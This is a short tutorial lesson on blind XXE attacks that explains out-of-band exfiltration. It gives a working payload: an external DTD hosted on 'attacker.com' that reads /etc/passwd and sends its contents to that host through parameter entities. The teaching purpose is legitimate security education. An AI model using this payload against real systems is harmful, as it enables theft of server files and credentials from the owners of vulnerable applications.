Blind XXE Techniques
You'll learn how to exploit XXE vulnerabilities even when the application doesn't show you the XML parsing results directly.
What Is Blind XXE?
In a standard XXE attack, you see the parsed XML output—maybe the server echoes back file contents or error messages. But many applications parse XML silently, without returning the results to you. This is Blind XXE.
Think of it like asking someone to read a letter for you, but they never tell you what it says. You need a different strategy—you must make them send the information somewhere you control.
The Out-of-Band (OOB) Solution
When direct responses aren't available, you force the vulnerable server to make an external request to your server. This typically works in two steps:
- Initial external DTD fetch: You reference a DTD hosted on your server
- Data exfiltration: The external DTD contains parameter entities that force the server to request another URL containing the stolen data
Here's the general pattern:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
Your evil.dtd on the attacker server then contains:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
The server reads the sensitive file, then makes a request to your server with the data as a URL parameter—visible in your access logs.
Why This Works
The XML parser processes external entities automatically. Even without seeing responses, you can observe DNS lookups or HTTP requests hitting your infrastructure, confirming the vulnerability and capturing data.
Key Takeaway: Blind XXE bypasses missing output by leveraging out-of-band channels—forcing the server to send data to attacker-controlled infrastructure through DNS or HTTP requests.